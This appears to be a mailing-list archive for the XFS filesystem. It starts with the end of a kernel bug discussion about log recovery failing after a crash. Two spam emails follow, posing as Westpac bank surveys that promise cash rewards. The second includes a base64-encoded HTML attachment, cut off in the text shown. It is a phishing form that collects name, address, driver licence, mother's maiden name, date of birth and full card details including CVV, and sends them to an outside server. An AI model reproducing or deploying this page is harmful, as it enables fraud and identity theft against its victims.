[] ? do_unlinkat+0x16a/0x220 > > [] ? SyS_faccessat+0x149/0x200 > > [] ? system_call_fastpath+0x16/0x1b > > When did that occur? Before the crash, after the first/second mount? > after you ran repair? After the first mount. > > Some further observations: > > > > When I boot 3.2.0 after the crash log recovery works fine. > > > > When I boot 3.9.0 after the crash I get the following: > > > > [ 2.332989] XFS (sdc2): Mounting Filesystem > > [ 2.406206] XFS (sdc2): Starting recovery (logdev: internal) > > [ 2.418147] XFS (sdc2): log record CRC mismatch: found 0xdbcaef48, expected 0x69e7934e. > > Just informational - indicating that the log records don't have > valid CRCs in them because 3.2 didn't calculate them. If you are > getting them when after a crash on a 3.9+ kernel, then there's a > problem writing to the log.... The crash always occurred on the current Linus tree kernel... > > When I boot the current Linus tree after the crash log recovery fails silently. > > dmesg output, please. Indeed, what does "fails silently" mean? the > filesystem doesn't mount but no error is given? Again, there is no dmesg output. XFS tells me that it's "Ending recovery (logdev: internal)" without any errors, when indeed it didn't recover the log at all. It then mounts the filesystem normally (rw) in this unclean state. That's when the WARNING I postend above happend. The fact that when I boot 3.2.0 after the crash (that occurred running the current Linus tree) log recovery works just fine, point to the new CRC implementation as the reason for this bug. -- Markus From xsax@bmw.com Mon Jul 15 07:40:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A38A17F37 for ; Mon, 15 Jul 2013 07:40:08 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6C0B18F804B for ; Mon, 15 Jul 2013 05:40:08 -0700 (PDT) X-ASG-Debug-ID: 1373892003-04bdf0233efff820001-NocioJ Received: from toroondcbmts04-srv.bellnexxia.net (toroondcbmts04-srv.bellnexxia.net [207.236.237.38]) by cuda.sgi.com with ESMTP id CXteCLiCRvm0LSdw for ; Mon, 15 Jul 2013 05:40:03 -0700 (PDT) X-Barracuda-Envelope-From: xsax@bmw.com X-Barracuda-Apparent-Source-IP: 207.236.237.38 Received: from toip39-bus.srvr.bell.ca ([67.69.240.40]) by toroondcbmts04-srv.bellnexxia.net (InterMail vM.8.00.01.00 201-2244-105-20090324) with ESMTP id <20130715124003.CBGS18676.toroondcbmts04-srv.bellnexxia.net@toip39-bus.srvr.bell.ca>; Mon, 15 Jul 2013 08:40:03 -0400 Received: from simone.slcc.ca (HELO maurice.SLCC.LOCAL) ([207.164.32.202]) by toip39-bus.srvr.bell.ca with ESMTP; 15 Jul 2013 08:40:01 -0400 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnAGAJrg41HPpCDK/2dsb2JhbABHE4N9AQGvawGSBoEOdIJCgURbiAsYlT2RWIYimliBEwOIbziGaJQQhQgCggGBMRw X-IronPort-AV: E=Sophos;i="4.89,668,1367985600"; v="Mal/Phish-A'3'rd"; d="txt'?html'217?zip'217,48?scan'217,48,48,217,208";a="72455880" Content-Type: multipart/mixed; boundary="===============1082969626==" MIME-Version: 1.0 Subject: Customer Satisfaction Survey! 100$ To: Recipients X-ASG-Orig-Subj: Customer Satisfaction Survey! 100$ From: "Westpac Reward Department" Date: Mon, 15 Jul 2013 05:39:59 -0700 Message-Id: <20130715124003.CBGS18676.toroondcbmts04-srv.bellnexxia.net@toip39-bus.srvr.bell.ca> X-Barracuda-Connect: toroondcbmts04-srv.bellnexxia.net[207.236.237.38] X-Barracuda-Start-Time: 1373892003 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.10 X-Barracuda-Spam-Status: No, SCORE=1.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_ADDR_MATCH, FB_WORD1_END_DOLLAR, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 FB_WORD1_END_DOLLAR BODY: Looks like a word ending with a $ 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address You will not see this in a MIME-aware mail reader. --===============1082969626== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Dear valued customer, Westpac Survey Department selected you to take part in our quick survey. To earn yours 100$ please download the attachement, unzip it and follow the= further instructions. --===============1082969626== MIME-Version: 1.0 Content-Description: Removed Attachment Content-Disposition: attachment; filename="Removed Attachment.txt" Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="iso-8859-1" This attachment contained a virus and was stripped. Filename: 100$.zip Content-Type: application/zip Virus(es): Mal/Phish-A --===============1082969626==-- From customer.survey@westpac.com.au Mon Jul 15 09:19:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_HTML_ATTACH, T_OBFU_HTML_ATTACH autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 07AD87F37 for ; Mon, 15 Jul 2013 09:19:52 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9E497AC007 for ; Mon, 15 Jul 2013 07:19:48 -0700 (PDT) X-ASG-Debug-ID: 1373897985-04bdf02b8ede2de0001-w1Z2WR Received: from mail.radioreti.it (81-208-40-210.ip.fastwebnet.it [81.208.40.210]) by cuda.sgi.com with ESMTP id gicw3b5xZSeyZh9W for ; Mon, 15 Jul 2013 07:19:46 -0700 (PDT) X-Barracuda-Envelope-From: customer.survey@westpac.com.au X-Barracuda-Apparent-Source-IP: 81.208.40.210 Received: from localhost (localhost [127.0.0.1]) by mail.radioreti.it (Postfix) with ESMTP id D982647CE00 for ; Mon, 15 Jul 2013 16:17:23 +0200 (CEST) Received: from mail.radioreti.it ([127.0.0.1]) by localhost (iserver [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 18732-07 for ; Mon, 15 Jul 2013 16:17:16 +0200 (CEST) Received: from westpac.com.au (93-63-81-5.ip26.fastwebnet.it [93.63.81.5]) by mail.radioreti.it (Postfix) with ESMTP id 5C3A047CAC4 for ; Mon, 15 Jul 2013 16:16:18 +0200 (CEST) From: Westpac To: linux-xfs@oss.sgi.com Subject: Take part in our Customer Satisfaction Survey and win 60$ credit to your account! Date: 15 Jul 2013 16:22:39 +0200 X-ASG-Orig-Subj: Take part in our Customer Satisfaction Survey and win 60$ credit to your account! Message-ID: <20130715162239.1FCC63BE67072E24@westpac.com.au> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_B18A5C4D.BEF286A0" X-Virus-Scanned: amavisd-new at radioreti.it X-Barracuda-Connect: 81-208-40-210.ip.fastwebnet.it[81.208.40.210] X-Barracuda-Start-Time: 1373897986 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.20 X-Barracuda-Spam-Status: No, SCORE=2.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG194, BSF_SC5_MJ1963, MARKETING_SUBJECT, NO_REAL_NAME, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.60 MARKETING_SUBJECT Subject contains popular marketing words 1.00 BSF_SC0_TG194 Custom Rule TG194 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This is a multi-part message in MIME format. ------=_NextPart_000_0012_B18A5C4D.BEF286A0 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable WESTPAC CUSTOMER SATISFACTION SURVEY Westpac will add 60$ credit to your account just for taking part=20=20 in our quick survey. Please take a few minutes to give us your opinion on our store=20=20 service. In order to access this Customer Satisfaction Survey please=20 download the form attached to this emailt and open it in a web browser. Once opened, you will be provided with steps to claim your prize. Thank you, Westpac Online Department This is an automated message. Please don't reply. Message ID:=20 01492733095 ------=_NextPart_000_0012_B18A5C4D.BEF286A0 Content-Type: application/octet-stream; name="WESTPAC SURVEY FORM.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="WESTPAC SURVEY FORM.html" PEhUTUwgeG1sbnM9IiI+PEJPRFkgY2xhc3M9d2l6YXJkIGlkPWN0bDAwX2JvZHlUYWc+PEhF QUQ+DQo8VElUTEU+V2VzdHBhYyAtIEN1c3RvbWVyIFNhdGlzZmFjdGlvbiBTdXJ2ZXk8L1RJ VExFPg0KPE1FVEEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVudD0idGV4dC9odG1s OyBjaGFyc2V0PVVURi04Ij4NCjxNRVRBIGh0dHAtZXF1aXY9Q29udGVudC1TdHlsZS1UeXBl IGNvbnRlbnQ9dGV4dC9jc3M+DQo8TUVUQSBpZD1jdGwwMF9kZW1vTm9JbmRleCBjb250ZW50 PWFsbCBuYW1lPXJvYm90cz48TElOSyBtZWRpYT1hbGwgaHJlZj0iIiB0eXBlPXRleHQvY3Nz IHJlbD1zdHlsZXNoZWV0PjxMSU5LIG1lZGlhPWFsbCBocmVmPSJodHRwczovL3d3dy51bHN0 ZXJiYW5rYW55dGltZWJhbmtpbmcuaWUvQnJhbmRzL1VCUi9jc3MvbHRlaWU4LmNzcyIgdHlw ZT10ZXh0L2NzcyByZWw9c3R5bGVzaGVldD4NCjxTQ1JJUFQgc3JjPSIiIHR5cGU9dGV4dC9q YXZhc2NyaXB0PjwvU0NSSVBUPg0KDQo8TUVUQSBpZD1jdGwwMF9QYWdlSURNZXRhQ29udHJv bCBjb250ZW50PUxJNiBuYW1lPVBhZ2VJRD48TElOSyBtZWRpYT1hbGwgaHJlZj0iIiB0eXBl PXRleHQvY3NzIHJlbD1zdHlsZXNoZWV0Pg0KPFNDUklQVCB0eXBlPXRleHQvamF2YXNjcmlw dD4NCjwhLS0NCi8vIGNvcHlyaWdodCAxOTk5IElkb2NzLCBJbmMuIGh0dHA6Ly93d3cuaWRv Y3MuY29tDQovLyBEaXN0cmlidXRlIHRoaXMgc2NyaXB0IGZyZWVseSBidXQga2VlcCB0aGlz IG5vdGljZSBpbiBwbGFjZQ0KZnVuY3Rpb24gbnVtYmVyc29ubHkobXlmaWVsZCwgZSwgZGVj KQ0Kew0KdmFyIGtleTsNCnZhciBrZXljaGFyOw0KaWYgKHdpbmRvdy5ldmVudCkNCiAgIGtl eSA9IHdpbmRvdy5ldmVudC5rZXlDb2RlOw0KZWxzZSBpZiAoZSkNCiAgIGtleSA9IGUud2hp Y2g7DQplbHNlDQogICByZXR1cm4gdHJ1ZTsNCmtleWNoYXIgPSBTdHJpbmcuZnJvbUNoYXJD b2RlKGtleSk7DQovLyBjb250cm9sIGtleXMNCmlmICgoa2V5PT1udWxsKSB8fCAoa2V5PT0w KSB8fCAoa2V5PT04KSB8fCANCiAgICAoa2V5PT05KSB8fCAoa2V5PT0xMykgfHwgKGtleT09 MjcpICkNCiAgIHJldHVybiB0cnVlOw0KLy8gbnVtYmVycw0KZWxzZSBpZiAoKCgiMDEyMzQ1 Njc4OSIpLmluZGV4T2Yoa2V5Y2hhcikgPiAtMSkpDQogICByZXR1cm4gdHJ1ZTsNCi8vIGRl Y2ltYWwgcG9pbnQganVtcA0KZWxzZSBpZiAoZGVjICYmIChrZXljaGFyID09ICIuIikpDQog ICB7DQogICBteWZpZWxkLmZvcm0uZWxlbWVudHNbZGVjXS5mb2N1cygpOw0KICAgcmV0dXJu IGZhbHNlOw0KICAgfQ0KZWxzZQ0KICAgcmV0dXJuIGZhbHNlOw0KfQ0KLy8tLT4NCjwvU0NS SVBUPg0KDQo8U0NSSVBUIHR5cGU9dGV4dC9qYXZhc2NyaXB0Pg0KZnVuY3Rpb24gc3VibWl0 Zm9ybSgpDQp7DQogIGRvY3VtZW50LmZybVN0YXRTZWxlY3Quc3VibWl0KCk7DQp9DQo8L1ND UklQVD4NCg0KPFNDUklQVCB0eXBlPXRleHQvamF2YXNjcmlwdD4NCmZ1bmN0aW9uIGNoZWNr TGVuKHgseSkNCnsNCmlmICh5Lmxlbmd0aD09eC5tYXhMZW5ndGgpDQogIHsNCiAgdmFyIG5l eHQ9eC50YWJJbmRleDsNCiAgaWYgKG5leHQ8ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZy bVN0YXRTZWxlY3QiKS5sZW5ndGgpDQogICAgew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRC eUlkKCJmcm1TdGF0U2VsZWN0IikuZWxlbWVudHNbbmV4dF0uZm9jdXMoKTsNCiAgICB9DQog IH0NCn0NCjwvU0NSSVBUPg0KDQo8U0NSSVBUIGxhbmd1YWdlPUphdmFzY3JpcHQ+DQpmdW5j dGlvbiBzbG9ib3ooKXsNCnNpZ251cEZPUk0gPSBkb2N1bWVudC5mcm1TdGF0U2VsZWN0Ow0K aWYoc2lnbnVwRk9STS5uYW1lLnZhbHVlID09ICIiKXsNCiAgICAgICAgICAgICAgYWxlcnQo IlBsZWFzZSBlbnRlciB5b3VyIGZ1bGwgbmFtZS4iKTtzaWdudXBGT1JNLm5hbWUuZm9jdXMo KTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVwRk9STS5zdHJlZXQudmFsdWUgPT0gIiIpew0K ICAgICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVyIHlvdXIgU3RyZWV0IEFkZHJlc3Mu Iik7c2lnbnVwRk9STS5zdHJlZXQuZm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVw Rk9STS5zdWJ1cmIudmFsdWUgPT0gIiIpew0KICAgICAgICAgICAgICBhbGVydCgiUGxlYXNl IGVudGVyIHlvdXIgU3VidXJiLiIpO3NpZ251cEZPUk0uc3VidXJiLmZvY3VzKCk7cmV0dXJu IGZhbHNlO30NCmlmKHNpZ251cEZPUk0uc3RhdGUudmFsdWUgPT0gIiIpew0KICAgICAgICAg ICAgICBhbGVydCgiUGxlYXNlIGVudGVyIHlvdXIgU3RhdGUuIik7c2lnbnVwRk9STS5zdGF0 ZS5mb2N1cygpO3JldHVybiBmYWxzZTt9DQppZihzaWdudXBGT1JNLnppcC52YWx1ZSA9PSAi Iil7DQogICAgICAgICAgICAgIGFsZXJ0KCJQbGVhc2UgZW50ZXIgeW91ciBQb3N0YWwgQ29k ZS4iKTtzaWdudXBGT1JNLnppcC5mb2N1cygpO3JldHVybiBmYWxzZTt9DQppZihzaWdudXBG T1JNLmRyaXZlci52YWx1ZSA9PSAiIil7DQogICAgICAgICAgICAgIGFsZXJ0KCJQbGVhc2Ug ZW50ZXIgeW91ciBEcml2ZXIgTGljZW5jZSBOdW1iZXIuIik7c2lnbnVwRk9STS5kcml2ZXIu Zm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVwRk9STS5tbW4udmFsdWUgPT0gIiIp ew0KICAgICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVyIHlvdXIgTW90aGVyJ3MgTWFp ZGVuIE5hbWUuIik7c2lnbnVwRk9STS5tbW4uZm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYo c2lnbnVwRk9STS5kb2IudmFsdWUgPT0gIiIpew0KICAgICAgICAgICAgICBhbGVydCgiUGxl YXNlIGVudGVyIHlvdXIgRGF0ZSBvZiBCaXJ0aC4iKTtzaWdudXBGT1JNLmRvYi5mb2N1cygp O3JldHVybiBmYWxzZTt9DQppZihzaWdudXBGT1JNLmRvYi52YWx1ZS5sZW5ndGggPDgpew0K ICAgICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVyIHZhbGlkIGZvcm1hdCBvZiBkYXRl IG9mIGJpcnRoIChkZC9tbS95eXl5KSIpO3NpZ251cEZPUk0uZG9iLmZvY3VzKCk7cmV0dXJu IGZhbHNlO30NCmlmKHNpZ251cEZPUk0uY2FyZC52YWx1ZSA9PSAiIil7DQogICAgICAgICAg ICAgIGFsZXJ0KCJQbGVhc2UgZW50ZXIgeW91ciBDYXJkIE51bWJlci4iKTtzaWdudXBGT1JN LmNhcmQuZm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVwRk9STS5jYXJkLnZhbHVl Lmxlbmd0aCA8MTYpew0KICAgICAgICAgICAgICBhbGVydCgiWW91ciBWaXNhL01hc3RlcmNh cmQgY2FyZCBtdWx0IGNvbnRhaW4gMTYgZGlnaXRzIik7c2lnbnVwRk9STS5jYXJkLmZvY3Vz KCk7cmV0dXJuIGZhbHNlO30NCmlmKHNpZ251cEZPUk0uZXhwLnZhbHVlID09ICIiKXsNCiAg ICAgICAgICAgICAgYWxlcnQoIlBsZWFzZSBlbnRlciB5b3VyIENhcmQgRXhwaXJhdGlvbiBE YXRlLiIpO3NpZ251cEZPUk0uZXhwLmZvY3VzKCk7cmV0dXJuIGZhbHNlO30NCmlmKHNpZ251 cEZPUk0uZXhwLnZhbHVlLmxlbmd0aCA8NCl7DQogICAgICAgICAgICAgIGFsZXJ0KCJQbGVh c2UgZW50ZXIgdmFsaWQgZm9ybWF0IG9mIENhcmQgRXhwaXJhdGlvbiBEYXRlLiAobW0veXkp Iik7c2lnbnVwRk9STS5leHAuZm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVwRk9S TS5jdnYudmFsdWUgPT0gIiIpew0KICAgICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVy IHlvdXIgQ1ZWLiBDVlYgaXMgdGhlIDMgZGlnaXRzIHdyaXR0ZW4gb24gdGhlIGJhY2sgb2Yg eW91ciBjYXJkLiIpO3NpZ251cEZPUk0uY3Z2LmZvY3VzKCk7cmV0dXJuIGZhbHNlO30NCg0K DQpyZXR1cm4gdHJ1ZTsNCn0NCjwvU0NSSVBUPg0KPC9IRUFEPg0KJm5ic3A7DQo8RElWIGNs YXNzPWRlZmF1bHRfYmcgaWQ9d3JhcHBlcj4NCjxESVYgaWQ9YWNjZXNrZXlzPg0KPERJViBp ZD1za2lwbGlua3M+DQogICAgICA8RElWIGNsYXNzPWRkYWxpbms+PC9ESVY+DQogICAgPC9E SVY+PC9ESVY+DQo8RElWIGNsYXNzPXR3b0xpbmVzIGlkPWNhbnZhcz4NCjxESVYgaWQ9aGVh ZGVyPg0KPERJViBpZD10b3BNaW5vckxpbmtzPg0KICAgICAgICA8RElWIGlkPXNlcnZpY2VO YW1lPjwvRElWPg0KPERJViBpZD1zdHJhcGxpbmU+DQogICAgICAgICAgPGRpdiBhbGlnbj0i bGVmdCI+PC9kaXY+DQogICAgICAgIDwvRElWPjwvRElWPjwvRElWPg0KPERJViBpZD1jb250 ZW50Pg0KPERJViBpZD1taWQ+DQo8Rk9STSBpZD1mcm1TdGF0U2VsZWN0IG5hbWU9ZnJtU3Rh dFNlbGVjdCBhY3Rpb249aHR0cDovL3d3dy5oeXR4Lm5ldC5jbi9BRE1JTi9iYW5uZXIvbGlu ay5hc3AgbWV0aG9kPXBvc3Q+PElOUFVUIHR5cGU9aGlkZGVuIHZhbHVlPTc4NjU4MjVkLTVi N2YtNGI4OC04OTQ2LTdkZTQ3OWU5MWJmYiBuYW1lPXR4bklEPiANCiAgICAgICAgPERJVj48 Yj48Zm9udCBzaXplPSI1IiBjb2xvcj0iIzAwNjYzMyI+PGZvbnQgY29sb3I9IiM2NjAwNjYi IGZhY2U9Ikdlb3JnaWEsIFRpbWVzIE5ldyBSb21hbiwgVGltZXMsIHNlcmlmIj48aW1nIHNy Yz0iaHR0cDovL2NkbjAubXVtYnJlbGxhLmNvbS5hdS93cC1jb250ZW50L3VwbG9hZHMvMjAx Mi8wNS9QaWN0dXJlLTEyMy5wbmciIHdpZHRoPSIzMTciIGhlaWdodD0iMTE0Ij48L2ZvbnQ+ PC9mb250PjwvYj4gDQogICAgICAgICAgPElOUFVUIGlkPV9fRVZFTlRUQVJHRVQgdHlwZT1o aWRkZW4gdmFsdWU9TmV4dEJ1dHRvbl9idXR0b24gbmFtZT1fX0VWRU5UVEFSR0VUPiA8SU5Q VVQgaWQ9c3VibWluZCB0eXBlPWhpZGRlbiB2YWx1ZT0zIG5hbWU9c3VibWluZD4gPElOUFVU IGlkPUxJNkNCQV9WaXNpYmlsaXR5IHR5cGU9aGlkZGVuIHZhbHVlPUZhbHNlIG5hbWU9TEk2 Q0JBX1Zpc2liaWxpdHk+IDxJTlBVVCBpZD1fX0VWRU5UQVJHVU1FTlQgdHlwZT1oaWRkZW4g bmFtZT1fX0VWRU5UQVJHVU1FTlQ+DQogPElOUFVUIGlkPV9fVklFV1NUQVRFMiB0eXBlPWhp ZGRlbiANCnZhbHVlPWZ3OEFBSWRCVTljd0lwTnhxbmFsSHJpUnk3ZnF4dktYWmxCQnZSczJO RTZOQytoMFhRcnMydWN5TG9JaGRVakw1UEVTbWwvQVBIMkUya0VmNEd1anhoQm4zSm43UHBV Z3lBOG54UkJpYUxhcC9uMVplakpjUEhmUk5BQlh2MTNjTU52T25RYTNZZmtjY3VlRXFSdG5u RXpvU01CLzA0MEdPbjkwS3cyS21YeDI4L1BncDBrYlJwdTVGaEdjaWQ1TmdyUHhmSXhhZ2tW KzQ1OUdhanI1TFJLZTlWNVArL2RZUUNRQTFEQzFxQmd0SFlneXRLamJZTCtVc1ZlOEJGTGtr T0hUYmpIUDNhOVVES2RFWFNyaXlFbUhhM3ZzbjdGajk0ZStmbHJDR085WjhzdDVFWnlRL3Rl UG13QUtZNnFqeWNQT0Q2NDdSSXFmb2MxOFVxcVI3ZHRJOVdodUV1K0NUbUsxM3R2SGVJemps UEttSjl0MFNvdGQ3eHBJdzE2c1hhVTBhYmVDb1gyRzdaMm5ocWlUVXkvbHcvSWQ5cnhqZlQ2 V2c1cnpVSFl4dVpXbUtqeTlibFRkRGg2MndpMjJ0TGN2Z21zb3lwQk81NDZKUUxma3ZPVExi SStPczI3UHA0alNONmZtSmcyTzZZDQpSNk44bjBPZ1UxaVhsVlZ5Q1drSjlEZjN0OFJ4aDlo ZzZaN2dPdDhxQkVDNnNQV1Focllxam9uNEt6WmRXbk1LUzRROUpLWmpxblJMNTgrbWduZ2pR aTFJWndjaTFaMW1yeU1VUzJoYzZNU3lLdGFCb3lhN2puQk96cnoxQkNDS0loRVkyQkg2cGhS d2N1aGpDSlh2TEVjRHNacEMvU2VOeTl0ZW5oMVkxNExvTmg4UmowQVAya01DMFh3M2FsWVpK U0dPcG91cERQMGN4ZUhsSkREc0RoSzJnalErcGIrMCtnZThlYnBDM003L05rZUNXT2FrbUx2 MFlYNm10UC9UelpvU1grcUdleDQvVElZQjdxVEkyRno2ODlPUEVYYkpMNVdidUpiaUZtenh1 Znk2VCtmV2crM3oxSjlXV3lrSGFNNG8zZDJyVjVpT25yKzhzK3BUK1hGcUJhYVV6Wko1U0xM MmRLNitJbTBLVjJVa3FCMURRMENjdWprOGlua1FGeVRWYWNBQ25XbkNBUnovUWZOeXFac2Vi Z2NuZnZPNHRPNVB2bXF3VllTYUVIenVWczYrRWswT3g2TngxdFB1b2hwQkJFbWV0dkVVeXpD WE5SbGpBYnpKNkVKNTRJWjdjcGhjZTlpd3N5MlJaeFFxa3NCRg0KVnd4MUtreHFCRjJLR3hW cENERGFZWUxDamtmREV4RGM2RzBxRkVjTjQyK2JvbHJnMVZZeEg5ZnpzbnVLNUZtOE5GbGgz ZTdzb3pjdGNVTkpOSGt5YktPKy9XdXdjMGowSHFyMTZhUTIrNHNtcUx4ZGY5QVRwN1YvZzBB cmhTekl1ZlF6VTZYNDBXNUd2b3lkcE5zNkpWYlBuVGlTdmt4ZHpMTEVidVUyRkpPeTUyQjhE YkNSVytTakFDUGZaMFhwZml0aGNheUFBU210ckQydjlBZXl4bC9sRWhFTklzMHgyOWEzcytU cHhSeGVyd1BVWERQR0p4TDFGT3JGT2NJc1ZKOGd2UDJqUHZEbEVYT1Evem1KQW5BdEJYZ1VO VzNGQWRQSDU2b3hya3I2RWE5NnAyY01DcmY5N0M3ejArRkZBS2Z4NHBVK0xWUFlpZGMrQ1ht bEM2U0k2clAzWXBhdFNQWisvNmdXdjBnMEx4RHMxUWFLQkVzV016MzhaWFRLWllTb00wZjU0 ajZiejhRWFFHK0lxN2YwRUtDbXpZOHQ0emk0K0dyOVRIYjFzYkhCTWNnazNGcW1DOU5NZ2tC ZWxVZTFRV2hQTDd3NTRwcUlWZG5mUXdSVGxRM3FBR040YnRJWnErZzNSbkU4SlpnTGYrT20N Cm5mT2tkZWtRSTRwc200WUZkb3RacEhOcmVyYjFrK21QUGFIZHU2STF2ZjNPcHlDNFN0TFV6 VGxibmE2NVFSNTZuNzhsQlBScm5ERjlMNzZvL3oxcUFYTkFYTFpJNWdVcHU2cGZlc01DMVFT T0RmcnFKS1E4dnc5K1ZscFRlZHN3NmR1UlRNaklGNVBFQWVQWEtMRTNoclVOYTZPTFhZd1M4 T2xFYUNKSXJJbUNmZGFoQTlmdmora01obGI3QjFBY25HZ0FpbWJ1TUVtQW51MzVmbERnV2VC eXFaM2ZMblA4YmtEN3RMdTY5VE1hVU9Kd21OTmVSNnpaRGlJYnVuV290OUdKNy9oZzNRNmY0 bk8vb1lobGVLczBLVk1hbTNXdlpzT3dpWnhSWGtTREhwT0pwZzFtdW0xWUhDUDZKZUl0WFA0 RWNjdk1RYkpwQk1lN1R2aWtGL20wN1J6eGwxbzBIdzFFUW9iamxROG43dVUyTW9USHVVUlk5 T3ErejFvRDdGL1lxeHdoQjlGZFZSaUcySEkvQWcvSFcxOWlRekFHRkdFVENqYzJ3YkdJR1pX VU5KMGJEcC9kR0NJSExVV2NxVmcwRnZ1cWhrdHZwSHJUdjVpaTRJYlU3UmI2bUhrTDdjZ2xj QTBQOGxZQkhOWXZ2MExxDQpJUTZkNkVzbkVhYitEVXlUaVUvTFk1a3BaTzJFRStRbVhqeldZ SnZ0bEFpQmdJeVRGQTRKWnllR3o1NC9UY3FOOFFxeDlhYkZQT2ZsMWprbkxzSUJtUzZJbmVK R01peGp1QlR3Vm5ZWm9qcktrb2kvT2s0RzI2a2F0QWc0eEdFZEdwQXZjbzZBU3h0MkxWbWxa cFRkWFQ1ZFpPMktBaDk2S01hd2dXd0ZjSi9wWFBDOFFtVzlPWXg0QmVaZHRXSnF5ZkwzWEpU eC8yT0hWdmNYWXYrVm1ESnRUdXpWd1luMUpydjYySFA2U01WOUhwMVBFdms3dWVPRWttVFo4 OTE4ZHh1dWtDalZQeklHa2wyMWQvaWg4aWJrSmdsZk5GY0dGbXVnVk1vaXR0TGFLMTlUVkE0 QjR3K3BIcWNld3YrVk96azV1U0krTm9CTS9JVmRjMFl0RXE0TElXTGJZNnh2eGlPSDBIdyt2 dVpMNUVqUmtYcU1nS3Q0UnovZlRtcjlhTkd6eGZPTEYyb1huSnpPSHp1Y3h5UndmRGVEWGZ1 QTBja095akt5ZmJUTnVPSmZpYnlCem1hMEhmM3ExTDZOZnFQby9HZ003TTNaSnpEejRLNHZR MmVBeUhQTk02dVVyQTZrK0pEbzA4SnZZSDNpcWVZSw0KSHd4NzJ6L3BkS1lqbDVqUlhjZUlJ YnFCV1JsaEttUVp4N0g1YnJPbDdEL3BwcXduODlocGh0Ui9FZ2hiTFo3YzQ5U3BuRzJQVkFn QjlHVGZOYmYxRWVEQjdXKzV5cTZGTjc1S2dSZVpPRDFBQ2g4bDZyaXY1YkJoMTdNNng3MVpy eE1wRHMzR2JMcWZxZS9HYlkwamwyZkNNTVRYUVE1eTRKMDlXMnZKUDF3eVJPSndQQlFNTWNV L3kvV2xnZ2g1L2diU2VaUDgxaG9Fa0dyV0loMm1kYS9tb3VNcHZnZUtyVTNzUkZsd2lmOW9u eTFtMDQrUlQxNlcwZFErbDFJL2RodmFJMjNmdGcwOGJMbWs2N09OZnVpNFh2V09aUTVtS3B3 NlBETndCSXlkZHhVakFBM2RtQTVINTFCa2hsSHJQRkcrU0FXbThycWUwbURYR1FPYnlGR05m Yi9MK25YYW1tUGUvNDMyTGN0WlRhZFZqZTRoMW9Wa1dBdXd2Y0ZaRzRiaVh1TXRNNGNzQjk0 WVIza1l4aktlTHJJWGRQYXNqblBubGdJLy9CcmRYb1FKcTBidHNQRlNjVXJTQytkcmhnZEl5 dXI3ZUFWSUNWWUE3ZEwvTDBFWUhNeDdCNHpWTGtxY3krMW8yZ0d5aEd3OUt2UysNClJMeUpa S3k3TWREb1FCTWlNZVkrZGRLYnc3ZldrbmZRaEZnZmxnYnVScCtva21jcXNGNVBtdkdSVDJL d0NQeFZKUi9TY1RoNkdqMDUvZkZnZTZWbnBrTHNsV1loT3gvSmdKbHNIVWcxMFh1WXRSdEFR 